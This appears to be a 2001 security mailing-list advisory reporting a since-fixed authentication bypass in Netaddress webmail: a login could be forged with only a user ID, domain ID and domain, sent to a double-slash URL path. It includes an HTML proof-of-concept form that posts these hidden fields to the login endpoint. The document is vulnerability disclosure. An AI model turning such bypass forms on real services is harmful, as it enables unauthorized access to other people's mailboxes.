[NEWS] Netaddress Security Issue Solved (Passwordless Logon)

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Date: 08/04/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [NEWS] Netaddress Security Issue Solved (Passwordless Logon)
Message-Id: <20010804195818.5764413903@mail.der-keiler.de>
Date: Sat,  4 Aug 2001 21:58:18 +0200 (CEST)

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  Netaddress Security Issue Solved (Passwordless Logon)
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SUMMARY

A security vulnerability in <http://netaddress.com> Netaddress allowed
attackers to logon to any mailbox they desire by knowing only three
parameters: maidid, domainid (value=4), domain (value=usa.net) (two of
which are already known by default; the third, maidid, is the mail box's
ID). This means that anyone could have logged on to any Netaddress mailbox
without knowing its password.
This problem has been solved by USA.NET.

DETAILS

Submitting a logon request the login CGI of Netaddress (/tpl/Door/Login)
requires only three fields maidid, domainid (value=4),
domain(value=usa.net). By creating an HTML file that contains all the
three parameters and submitting it to
http://netaddress.com//tpl/door/login (Note the double slash after
neraddress.com), it is possible to bypass the password requirement.

Exploit code:
<html>
<form name="loginform"
action="http://classic.netaddress.com//tpl/Door/LoginPost" method="POST"
target=_blank>
<input type="hidden" name="LoginState" value="2">
<input type="hidden" name="DomainID" value="4">
<input type="hidden" name="Domain" value="usa.net">
<b><font color="#FF0000" size="2" face="Arial">Netaddress Security hole -
Demo</font></b><font face="Arial" size="2"><br>
<br>
Developed By Syed Mohamed (<a
href="mailto:syedblr@hotmail.com">syedblr@hotmail.com</a>)<br>
<br>
Just Enter Login ID (enter example if netaddress id is
example@usa.net)</font>
<p>
<input type="text" size="16" name="UserID" value="">
<input type="submit" value="Login">
</form>
</p>
</html>

Vendor's response:
USA.NET's technical and security teams have been made aware of this issue
and it has been corrected.

ADDITIONAL INFORMATION

The information has been provided by <mailto:syedblr@hotmail.com> syed
mohamed.

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